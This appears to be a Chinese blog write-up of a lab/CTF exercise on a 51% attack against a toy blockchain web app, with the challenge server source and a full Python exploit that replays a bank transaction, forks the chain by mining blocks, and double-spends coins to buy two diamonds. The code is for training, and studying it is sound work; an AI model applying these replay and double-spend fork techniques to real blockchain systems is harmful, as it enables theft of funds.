当前位置: 首页 > news >正文

某60区块链安全之51%攻击实战学习记录

区块链安全

文章目录

  • 区块链安全
  • 51%攻击实战
    • 实验目的
    • 实验环境
    • 实验工具
    • 实验原理
    • 攻击过程


51%攻击实战

实验目的

1.理解并掌握区块链基本概念及区块链原理
2.理解区块链分又问题
3.理解掌握区块链51%算力攻击原理与利用
4.找到题目漏洞进行分析并形成利用

实验环境

1.Ubuntu18.04操作机

实验工具

  1. python2

实验原理

1.在比特币网络里,你有多少钱,不是你说了算,而是大家说了算,每个人都是公证人。
2基于算力证明进行维护的比特而网络一直以来有一个重大的理论风险:如果有人掌握了巨大的计算资源超过全网过半的算力),他就可以通过强大的算力幕改区块链上的账本,从而控制整个共识网络,这也被称为51%攻击。
3虽然这种攻击发生的可能性不是很大掌握这种算力的人本身就可以通过挖矿获得大受益,再去冒险算改账本很容易暴露自身)。仍然是理论上看: 一旦这种攻击被发现,比特币网络其他终端可以联合起来对已知的区块链进行硬分叉,全体否认非法的交易。
实验内容1.某银行利用区块链技术,发明了DiDiCoins记账系统。某宝石商店采用了这一方式来完成石的销售与清算过程。不幸的是,该银行被黑客入侵,私钢被窃取,维持区块链正常运转的矿机也全部宕机。现在,你能追回所有DDCoins,并且从商店购买2颗钻石么?2区块链是存在cokie里的,可能会因为区块链太长,浏览器不接受服务器返回的set-okie字段而导致区块链无法更新,因此强烈推荐写脚本发请求
3.实验地址为 http://ip:10000/b942f830cf97e ,详细见附件

攻击过程

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

serve.py文件内容如下

# -*- encoding: utf-8 -*-
# written in python 2.7import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, requestapp = Flask(__name__)
app.secret_key = '*********************'
url_prefix = '/b942f830cf97e'def FLAG():return 'Here is your flag: flag{******************}'def hash(x):return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x)+hash(y))def has_attrs(d, attrs):if type(d) != type({}): raise Exception("Input should be a dict/JSON")for attr in attrs:if attr not in d:raise Exception("{} should be presented in the input".format(attr))EMPTY_HASH = '0'*64def addr_to_pubkey(address):return rsa.PublicKey(int(address, 16), 65537)def pubkey_to_address(pubkey):assert pubkey.e == 65537hexed = hex(pubkey.n)if hexed.endswith('L'): hexed = hexed[:-1]if hexed.startswith('0x'): hexed = hexed[2:]return hexeddef gen_addr_key_pair():pubkey, privkey = rsa.newkeys(384)return pubkey_to_address(pubkey), privkeybank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()def sign_input_utxo(input_utxo_id, privkey):return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def create_output_utxo(addr_to, amount):utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}utxo['hash'] = hash_utxo(utxo)return utxodef hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def create_tx(input_utxo_ids, output_utxo, privkey_from=None):tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}tx['hash'] = hash_tx(tx)return txdef hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def create_block(prev_block_hash, nonce_str, transactions):if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')nonce = str(nonce_str)if len(nonce) > 128: raise Exception('the nonce is too long')block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}block['hash'] = hash_block(block)return blockdef find_blockchain_tail():return max(session['blocks'].values(), key=lambda block: block['height'])def calculate_utxo(blockchain_tail):curr_block = blockchain_tailblockchain = [curr_block]while curr_block['hash'] != session['genesis_block_hash']:curr_block = session['blocks'][curr_block['prev']]blockchain.append(curr_block)blockchain = blockchain[::-1]utxos = {}for block in blockchain:for tx in block['transactions']:for input_utxo_id in tx['input']:del utxos[input_utxo_id]for utxo in tx['output']:utxos[utxo['id']] = utxoreturn utxosdef calculate_balance(utxos):balance = {bank_address: 0, hacker_address: 0, shop_address: 0}for utxo in utxos.values():if utxo['addr'] not in balance:balance[utxo['addr']] = 0balance[utxo['addr']] += utxo['amount']return balancedef verify_utxo_signature(address, utxo_id, signature):try:return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))except:return Falsedef append_block(block, difficulty=int('f'*64, 16)):has_attrs(block, ['prev', 'nonce', 'transactions'])if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])if block['prev'] not in session['blocks']: raise Exception("unknown parent block")tail = session['blocks'][block['prev']]utxos = calculate_utxo(tail)if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')new_utxo_ids = set()for tx in block['transactions']:has_attrs(tx, ['input', 'output', 'signature'])for utxo in tx['output']:has_attrs(utxo, ['amount', 'addr', 'id'])if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))new_utxo_ids.add(utxo['id'])if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")try:addr_to_pubkey(utxo['addr'])except:raise Exception("invalid type of address({})".format(utxo['addr']))utxo['hash'] = hash_utxo(utxo)tot_output = sum([utxo['amount'] for utxo in tx['output']])if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")tot_input = 0tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]for utxo_id, signature in zip(tx['input'], tx['signature']):if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))utxo = utxos[utxo_id]if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")if not verify_utxo_signature(utxo['addr'], utxo_id, signature):raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))tot_input += utxo['amount']del utxos[utxo_id]if tot_output > tot_input:raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))tx['hash'] = hash_tx(tx)block = create_block(block['prev'], block['nonce'], block['transactions'])block_hash = int(block['hash'], 16)if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')block['height'] = tail['height']+1if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')session['blocks'][block['hash']] = blocksession.modified = Truedef init():if 'blocks' not in session:session['blocks'] = {}session['your_diamonds'] = 0# First, the bank issued some DDCoins ...total_currency_issued = create_output_utxo(bank_address, 1000000)genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothinggenesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])session['genesis_block_hash'] = genesis_block['hash']genesis_block['height'] = 0session['blocks'][genesis_block['hash']] = genesis_block# Then, the bank was hacked by the hacker ...handout = create_output_utxo(hacker_address, 999999)reserved = create_output_utxo(bank_address, 1)transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])append_block(second_block)# Can you buy 2 diamonds using all DDCoins?third_block = create_block(second_block['hash'], 'a empty block', [])append_block(third_block)def get_balance_of_all():init()tail = find_blockchain_tail()utxos = calculate_utxo(tail)return calculate_balance(utxos), utxos, tail@app.route(url_prefix+'/')
def homepage():announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. 'balance, utxos, _ = get_balance_of_all()genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_addressbalance_info = 'Balance of all addresses: ' + json.dumps(balance)utxo_info = 'All utxos: ' + json.dumps(utxos)blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])view_source_code_link = "<a href='source_code'>View source code</a>"return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))@app.route(url_prefix+'/flag')
def getFlag():init()if session['your_diamonds'] >= 2: return FLAG()return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_addressdef find_enough_utxos(utxos, addr_from, amount):collected = []for utxo in utxos.values():if utxo['addr'] == addr_from:amount -= utxo['amount']collected.append(utxo['id'])if amount <= 0: return collected, -amountraise Exception('no enough DDCoins in ' + addr_from)def transfer(utxos, addr_from, addr_to, amount, privkey):input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)outputs = [create_output_utxo(addr_to, amount)]if the_change != 0:outputs.append(create_output_utxo(addr_from, the_change))return create_tx(input_utxo_ids, outputs, privkey)@app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):balance, utxos, tail = get_balance_of_all()if balance[bank_address] == 0: return 'The bank has no money now.'try:address = str(address)addr_to_pubkey(address) # to check if it is a valid addresstransferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])append_block(new_block)return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + addressexcept Exception, e:return 'ERROR: ' + str(e)DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():init()try:block = json.loads(request.data)append_block(block, DIFFICULTY)msg = 'transaction finished.'except Exception, e:return str(e)balance, utxos, tail = get_balance_of_all()if balance[shop_address] == 1000000:# when 1000000 DDCoins are received, the shop will give you a diamondsession['your_diamonds'] += 1# and immediately the shop will store the money somewhere safe.transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])append_block(new_block)msg += ' You receive a diamond.'return msg# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():if 'blocks' in session: del session['blocks']if 'genesis_block_hash' in session: del session['genesis_block_hash']return 'reset.'@app.route(url_prefix+'/source_code')
def show_source_code():source = open('serve.py', 'r')html = ''for line in source:html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')source.close()return htmlif __name__ == '__main__':app.run(debug=False, host='0.0.0.0')

在这里插入图片描述

在这里插入图片描述

使用python2编写自动化脚本实现上述过程:当POST第三个空块时,主链改变,黑客提走的钱被追回,通过转账后门与POST触发新增两个区块,总长为六块;接上第三个空块,POST到第六个空块时,主链再次改变,钱又重新回到银行,再次利用后门得到钻石(将url_prefix中的IP地址换成题目的IP地址)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

exp.py

import requests, json, hashlib, rsaEMPTY_HASH = '0'*64def pubkey_to_address(pubkey):assert pubkey.e == 65537hexed = hex(pubkey.n)if hexed.endswith('L'): hexed = hexed[:-1]if hexed.startswith('0x'): hexed = hexed[2:]return hexeddef gen_addr_key_pair():pubkey, privkey = rsa.newkeys(384)return pubkey_to_address(pubkey), privkeydef sign_input_utxo(input_utxo_id, privkey):return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')def hash(x):return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x)+hash(y))def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def create_tx(input_utxo_ids, output_utxo, privkey_from=None):tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}tx['hash'] = hash_tx(tx)return tx# -------------- code copied from server.py END ------------def create_output_utxo(addr_to, amount):utxo = {'id': 'my_recycled_utxo', 'addr': addr_to, 'amount': amount}utxo['hash'] = hash_utxo(utxo)return utxodef create_block_with_PoW(prev_block_hash, transactions, difficulty, nonce_prefix='nonce-'):nonce_str = 0while True:nonce_str += 1nonce = nonce_prefix + str(nonce_str)block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}block['hash'] = hash_block(block)if int(block['hash'], 16) &lt; difficulty: return blockurl_prefix = 'http://192.168.2.100:10000/b942f830cf97e'
s = requests.session()
my_address, my_privkey = gen_addr_key_pair()
print 'my address:', my_addressdef append_block(block):print '[APPEND]', s.post(url_prefix+'/create_transaction', data=json.dumps(block)).textdef show_blockchain():print s.get(url_prefix+'/').text.replace('&lt;br /&gt;','')blocks = json.loads(s.get(url_prefix+'/').text.split('Blockchain Explorer: ')[1]).values()
genesis_block = filter(lambda i: i['height'] == 0, blocks)[0]# replay attack
attacked_block = filter(lambda i: i['height'] == 1, blocks)[0]
replayed_tx = attacked_block['transactions'][0]
replayed_tx['output'] = [create_output_utxo(my_address, 1000000)]
replayed_tx['hash'] = hash_tx(replayed_tx)DIFFICULTY = int('00000' + 'f' * 59, 16)
forked_block = create_block_with_PoW(genesis_block['hash'], [replayed_tx], DIFFICULTY)
append_block(forked_block)# generate 2 empty blocks behind to make sure our forked chain is the longest blockchain
prev = forked_block['hash']
for i in xrange(2):empty_block = create_block_with_PoW(prev, [], DIFFICULTY)prev = empty_block['hash']append_block(empty_block)show_blockchain()
print 'replay done. ------------------ '# now we have 1000000 DDCoins, transfer to the shop to buy diamond
shop_address = s.get(url_prefix+'/flag').text.split('1000000 DDCoins to ')[1]
output_to_shop = create_output_utxo(shop_address, 1000000)
utxo_to_double_spend = replayed_tx['output'][0]['id']
tx_to_shop = create_tx([utxo_to_double_spend], [output_to_shop], my_privkey)
new_block = create_block_with_PoW(prev, [tx_to_shop], DIFFICULTY)
append_block(new_block)# now we have 1 diamond and 0 DDCoin, we should double spend the "utxo_to_double_spend" by forking the blockchain again
new_block = create_block_with_PoW(prev, [tx_to_shop], DIFFICULTY, 'another-chain-nonce-')
append_block(new_block)
# append another 2 empty blocks to make sure this is the longest blockchain
prev = new_block['hash']
for i in xrange(2):empty_block = create_block_with_PoW(prev, [], DIFFICULTY)prev = empty_block['hash']append_block(empty_block)
# and the shop receive 1000000 DDCoins in this newly-forked blockchain... we have got another diamondshow_blockchain()
print '===================='
print s.get(url_prefix+'/flag').text

相关文章:

某60区块链安全之51%攻击实战学习记录

区块链安全 文章目录 区块链安全51%攻击实战实验目的实验环境实验工具实验原理攻击过程 51%攻击实战 实验目的 1.理解并掌握区块链基本概念及区块链原理 2.理解区块链分又问题 3.理解掌握区块链51%算力攻击原理与利用 4.找到题目漏洞进行分析并形成利用 实验环境 1.Ubuntu1…...

为什么原生IP可以降低Google play账号关联风险?企业号解决8.3/10.3账号关联问题?

在Google paly应用上架的过程中&#xff0c;相信大多数开发者都遇到过开发者账号因为关联问题&#xff0c;导致应用包被拒审和封号的情况。 而众所周知&#xff0c;开发者账号注册或登录的IP地址及设备是造成账号关联的重要因素之一。酷鸟云最新上线的原生IP能有效降低账号因I…...

排列组合C(n,m)和A(n,m)理解及代码实现

排列组合C(n,m)和A(n,m)理解及代码实现-CSDN博客...

EasyExcel导入从第几行开始

//获得工作簿 read EasyExcel.read(inputStream, Student.class, listener); //获得工作表 又两种形形式可以通过下标也可以通过名字2003Excel不支持名字 ExcelReaderSheetBuilder sheet read.sheet(); sheet.headRowNumber(2);...

均匀光源积分球的应用领域有哪些

均匀光源积分球的主要作用是收集光线&#xff0c;并将其用作一个散射光源或用于测量。它可以将光线经过积分球内部的均匀分布后射出&#xff0c;因此积分球也可以当作一个光强衰减器。同时&#xff0c;积分球可以实现均匀的朗伯体漫散射光源输出&#xff0c;整个输出口表面的亮…...

【LeetCode】每日一题 2023_11_18 数位和相等数对的最大和(模拟/哈希)

文章目录 刷题前唠嗑题目&#xff1a;数位和相等数对的最大和题目描述代码与解题思路思考解法偷看大佬题解结语 刷题前唠嗑 LeetCode? 启动&#xff01;&#xff01;&#xff01; 本月已经过半了&#xff0c;每日一题的全勤近在咫尺~ 题目&#xff1a;数位和相等数对的最大和…...

【喵叔闲扯】--迪米特法则

迪米特法则&#xff0c;也称为最少知识原则&#xff08;Law of Demeter&#xff09;&#xff0c;是面向对象设计中的一个原则&#xff0c;旨在降低对象之间的耦合性&#xff0c;提高系统的可维护性和可扩展性。该原则强调一个类不应该直接与其它不相关的类相互交互&#xff0c;…...

企业视频数字人有哪些应用场景

来做个数字人吧&#xff0c;帮我干点活吧。 国内的一些数字人&#xff1a; 腾讯智影 腾讯智影数字人是一种基于人工智能技术的数字人物形象&#xff0c;具有逼真的外观、语音和行为表现&#xff0c;可以应用于各种场景&#xff0c;如新闻播报、文娱推介、营销、教育等。 幻…...

LoRa模块空中唤醒功能原理和物联网应用

LoRa模块是一种广泛应用于物联网领域的无线通信模块&#xff0c;支持低功耗、远距离和低成本的无线通信。 其空中唤醒功能是一项重要的应用&#xff0c;可以实现设备的自动唤醒&#xff0c;从而在没有人工干预的情况下实现设备的远程监控和控制。 LoRa模块空中唤醒功能的原理…...

spring中的DI

【知识要点】 控制反转&#xff08;IOC&#xff09;将对象的创建权限交给第三方模块完成&#xff0c;第三方模块需要将创建好的对象&#xff0c;以某种合适的方式交给引用对象去使用&#xff0c;这个过程称为依赖注入&#xff08;DI&#xff09;。如&#xff1a;A对象如果需要…...

gpt-4-vision-preview 识图

这些图片都是流行动画角色的插图。 第一张图片中的角色是一块穿着棕色方形裤子、红领带和白色衬衫的海绵&#xff0c;它站立着并露出开心的笑容。该角色在一个蓝色的背景前&#xff0c;显得非常兴奋和活泼。 第二张图片展示的是一只灰色的小老鼠&#xff0c;表情开心&#xf…...

Spring Framework 6.1 正式发布

Spring Framework 6.1.0 现已从 Maven Central 正式发布&#xff01;6.1 一代有几个关键主题&#xff1a; 拥抱 JDK 21 LTS虚拟线程&#xff08;Project Loom&#xff09;JVM 检查点恢复&#xff08;项目 CRaC&#xff09;重新审视资源生命周期管理重新审视数据绑定和验证新的…...

SystemVerilog学习 (11)——覆盖率

目录 一、概述 二、覆盖率的种类 1、概述 2、分类 三、代码覆盖率 四、功能覆盖率 五、从功能描述到覆盖率 一、概述 “验证如果没有量化&#xff0c;那么就意味着没有尽头。” 伴随着复杂SoC系统的验证难度系数成倍增加&#xff0c;无论是定向测试还是随机测试&#xff…...

jQuery,解决命名冲突的问题

使用noConflict(true)&#xff0c;把$和jQuery名字都给别人 <body><script>var $ zanvar jQuery lan</script><script src"./jquery.js"></script><script>console.log(jQuery, 11111); // 打印jquery函数console.log($, 222…...

为什么C++标准库中atomic shared_ptr不是lockfree实现?

为什么C标准库中atomic shared_ptr不是lockfree实现&#xff1f; 把 shared_ptr 做成 lock_free&#xff0c;应该是没有技术上的可行性。shared_ptr 比一个指针要大不少&#xff1a;最近很多小伙伴找我&#xff0c;说想要一些C的资料&#xff0c;然后我根据自己从业十年经验&am…...

Python基础入门例程58-NP58 找到HR(循环语句)

最近的博文: Python基础入门例程57-NP57 格式化清单(循环语句)-CSDN博客 Python基础入门例程56-NP56 列表解析(循环语句)-CSDN博客 Python基础入门例程55-NP55 2的次方数(循环语句)-CSDN博客 目录 最近的博文: 描述...

航天联志Aisino-AISINO26081R服务器通过调BIOS用U盘重新做系统(windows系统通用)

产品名称:航天联志Aisino系列服务器 产品型号:AISINO26081R CPU架构&#xff1a;Intel 的CPU&#xff0c;所以支持Windows Server all 和Linux系统&#xff08;重装完系统可以用某60驱动管家更新所有硬件驱动&#xff09; 操作系统&#xff1a;本次我安装的服务器系统为Serv…...

windows 10 更新永久关闭

1 winR 输入&#xff1a;services.msc 编辑&#xff1a; 关闭&#xff1a;...

循环优先级仲裁~位屏蔽仲裁算法

参考了FPGA奇哥&#xff08;下列视频中UP主&#xff09;的讲解。 应该可以对多路读写DDR3进行操作&#xff0c;仅仲裁&#xff0c;不涉及DMA和Uibuf等。 2023年11月所写&#xff0c;暂未进行测试&#xff0c;日后补上。 第二天已完成测试&#xff0c;功能可行。 深入FPGA底层…...

千年版本修改小技巧

千年门派创建后消失的原因 门派在游戏里创建后重启服务器消失其实就差一个单词name&#xff0c;只要将这个单词加在 guild文件夹里的 createguild.sdb文件里的第一行第一个就可以。可以先将createguild.sdb的内容清空 然后复制以下内容到 createguild.sdb 最后保存下就可以了n…...

教学过程中可以实施哪些考核评价方式?

教学过程中可以实施哪些考核评价方式&#xff1f; 实践技能与理论知识考试结合&#xff1a;旨在综合考察学生对理论知识的掌握程度及其在实践中的运用能力。 模拟仿真与现场考试结合&#xff1a;通过模拟真实场景或者实际操作环境&#xff0c;考察学生在实际情境中解决问题的能…...

MyBatis查询数据库(全是精髓)

1. 什么是MyBatis&#xff1f; 简单说&#xff0c;MyBatis就是一个完成程序与数据库交互的工具&#xff0c;也就是更简单的操作和读取数据库的工具。 2. 怎么学习Mybatis Mybatis学习只分为两部分&#xff1a; 配置MyBatis开发环境使用MyBatis模式和语法操作数据库 3. 第一…...

elementPlus+vue3引入icon图标

安装包管理&#xff0c;推荐使用 yarn npm包有时候会有包冲突&#xff0c;在项目的根目录下执行&#xff0c;在终端下 # Yarn $ yarn add element-plus/icons-vue在main.js或main.ts中进行全局注册&#xff0c;导入所有图标 import * as ElementPlusIconsVue from element-plu…...

Spring框架中的bean管理(XML和注解及属性的注入)

Spring框架中IOC就是将创建对象的权力反转给Spring框架&#xff0c;我们无需自己创建对象&#xff0c;直接在Spring框架的容器中获取即可。 bean中配置的就是需要让Spring管理的类。 XML的bean管理 先写个“HelloWorld”: <bean id"User" class"com.ffyc.…...

MySQL 存储过程提高数据库效率和可维护性

MySQL 存储过程是一种强大的数据库功能&#xff0c;它允许你在数据库中存储和执行一组SQL语句&#xff0c;类似于编程中的函数。存储过程可以大幅提高数据库的性能、安全性和可维护性。本文将详细介绍MySQL存储过程的使用。 什么是MySQL存储过程&#xff1f; MySQL存储过程是一…...

JAXB的XmlElement注解

依赖 如果基于JAX-WS开发&#xff0c;可以在maven工程的pom.xml文件中增加如下依赖&#xff0c;会将依赖的JAXB库也下载下来&#xff1a; <dependency><groupId>jakarta.xml.ws</groupId><artifactId>jakarta.xml.ws-api</artifactId><vers…...

竞赛选题 深度学习驾驶行为状态检测系统(疲劳 抽烟 喝水 玩手机) - opencv python

文章目录 1 前言1 课题背景2 相关技术2.1 Dlib人脸识别库2.2 疲劳检测算法2.3 YOLOV5算法 3 效果展示3.1 眨眼3.2 打哈欠3.3 使用手机检测3.4 抽烟检测3.5 喝水检测 4 最后 1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 基于深度学习的驾…...

59 权限提升-Win溢出漏洞及ATSCPS提权

目录 知识点必备&#xff1a;windows权限认识(用户及用户组)0x01 普通权限0x02特殊权限 演示案例:基于WEB环境下的权限提升-阿里云靶机基于本地环境下的权限提升-系统溢出漏洞基于本地环境下的权限提升-AT&SC&PS命令 案例给到的思路点总结如下:涉及资源: 这个章节会讲到…...

【新闻稿】Solv 与 zCloak 联合开发跨境贸易场景下可编程数字凭证项目,获得新加坡、加纳两国央行支持...

关于昨天 Solv 携手 zCloak 与新加坡和加纳两个央行合作的 Project DESFT&#xff0c;很多朋友都发来恭喜和祝福&#xff0c;并希望了解详情。这个事我们秘密努力了半年多&#xff0c;终于有一个阶段性的成果。这里我转载中文版官宣新闻稿&#xff0c;欢迎大家关注。等我忙过这…...

requests库进行爬虫ip请求时遇到的错误解决方法

问题背景 在使用requests库进行HTTP请求时&#xff0c;用户遇到了一个AuthenticationRequired&#xff08;身份验证必须&#xff09;的错误。然而&#xff0c;当使用urllib.request.urlopen执行相同的操作时&#xff0c;却能够成功。同时&#xff0c;用户提供了自己的系统信息…...

目标检测—YOLO系列(二 ) 全面解读论文与复现代码YOLOv1 PyTorch

精读论文 前言 从这篇开始&#xff0c;我们将进入YOLO的学习。YOLO是目前比较流行的目标检测算法&#xff0c;速度快且结构简单&#xff0c;其他的目标检测算法如RCNN系列&#xff0c;以后有时间的话再介绍。 本文主要介绍的是YOLOV1&#xff0c;这是由以Joseph Redmon为首的…...

Redis维护缓存的方案选择

Redis中间件常常被用作缓存&#xff0c;而当使用了缓存的时候&#xff0c;缓存中数据的维护&#xff0c;往往是需要重点关注的&#xff0c;尤其是重点考虑的是数据一致性问题。以下是维护数据库缓存的一些常用方案。 1、先删除缓存&#xff0c;再更新数据库 导致数据不一致的…...

LeetCode236. Lowest Common Ancestor of a Binary Tree

文章目录 一、题目二、题解 一、题目 Given a binary tree, find the lowest common ancestor (LCA) of two given nodes in the tree. According to the definition of LCA on Wikipedia: “The lowest common ancestor is defined between two nodes p and q as the lowest…...

基于Gin+Gorm框架搭建MVC模式的Go语言企业级后端系统

文/朱季谦 环境准备&#xff1a;安装Gin与Gorm 本文搭建准备环境&#xff1a;GinGormMySql。 Gin是Go语言的一套WEB框架&#xff0c;在学习一种陌生语言的陌生框架&#xff0c;最好的方式&#xff0c;就是用我们熟悉的思维去学。作为一名后端Java开发&#xff0c;在最初入门…...

【开源】基于Vue和SpringBoot的固始鹅块销售系统

项目编号&#xff1a; S 060 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S060&#xff0c;文末获取源码。} 项目编号&#xff1a;S060&#xff0c;文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 数据中心模块2.2 鹅块类型模块2.3 固…...

Windows11怎样投屏到电视上?

电视屏幕通常比电脑显示器更大&#xff0c;能够提供更逼真的图像和更震撼的音效&#xff0c;因此不少人也喜欢将电脑屏幕投屏到电视上&#xff0c;缓解一下低头看电脑屏幕的烦恼。 Windows11如何将屏幕投射到安卓电视&#xff1f; 你需要在电脑和电视分贝安装AirDroid Cast的电…...

ubuntu中用docker部署jenkins,并和码云实现自动化部署

1.部署jenkins docker network create jenkins docker run --name jenkins-docker --rm --detach \--privileged --network jenkins --network-alias docker \--env DOCKER_TLS_CERTDIR/certs \--volume jenkins-docker-certs:/certs/client \--volume jenkins-data:/var/jen…...

for,while,do-while,死循环,嵌套循环,跳转关键字,随机数

1.for循环 public class ForDemo1 {public static void main(String[] args) {for (int i 0; i < 5; i) {System.out.println("HelloWorld");}System.out.println("--------------------------------------------");for (int i 1; i <10 ; i) {Sy…...

【六袆 - MySQL】SQL优化;Explain SQL执行计划分析;

Explain SQL执行计划分析 概念:English Unit案例分析1.分析的SQL2.执行计划分析 【如图】MySQL执行计划参数以及它们的影响或意义:概念: MySQL执行计划(Execution Plan)是数据库系统根据查询语句生成的一种执行策略,用于指导数据库引擎执行查询操作。 English Unit This…...

【AI视野·今日NLP 自然语言处理论文速览 第六十二期】Wed, 25 Oct 2023

AI视野今日CS.NLP 自然语言处理论文速览 Wed, 25 Oct 2023 (showing first 100 of 112 entries) Totally 100 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Computation and Language Papers MuSR: Testing the Limits of Chain-of-thought with Multistep Soft R…...

各种符号地址,可以直接复制粘贴使用

字符符号 - 文本数字工具 | 偷懒工具 toolight.cn...

C语言测试题:用冒泡法对输入的10个字符由小到大排序 ,要求数组做为函数参数。

编写一个函数&#xff1a; 用冒泡法对输入的10个字符由小到大排序 &#xff0c;要求数组做为函数参数。 冒泡排序是一种简单的排序算法&#xff0c;它会多次遍历要排序的数列&#xff0c; 每次遍历时&#xff0c;依次比较相邻的两个元素&#xff0c;如果它们的顺序不符合要求…...

uni-app开发微信小程序 vue3写法添加pinia

说明 使用uni-app开发&#xff0c;选择vue3语法&#xff0c;开发工具是HBliuderX。虽然内置有vuex&#xff0c;但是个人还是喜欢用Pinia&#xff0c;所以就添加进去了。 Pinia官网连接 添加步骤 第一步&#xff1a; 在项目根目录下执行命令&#xff1a; npm install pinia …...

centos三台主机配置互信ssh登录

1. 修改hosts信息 1.1三台主机上分别修改hosts文件 vi /etc/hosts1.2 三台主机分别填入如下内容&#xff0c;ip地址需要检查正确 192.168.126.223 node1 192.168.126.224 node2 192.168.126.225 node32. 秘钥生成和分发 2.1 在三台主机上分别生成秘钥 命令输入后&#xff…...

验证码案例 —— Kaptcha 插件介绍 后端生成验证码,前端展示并进行session验证(带完整前后端源码)

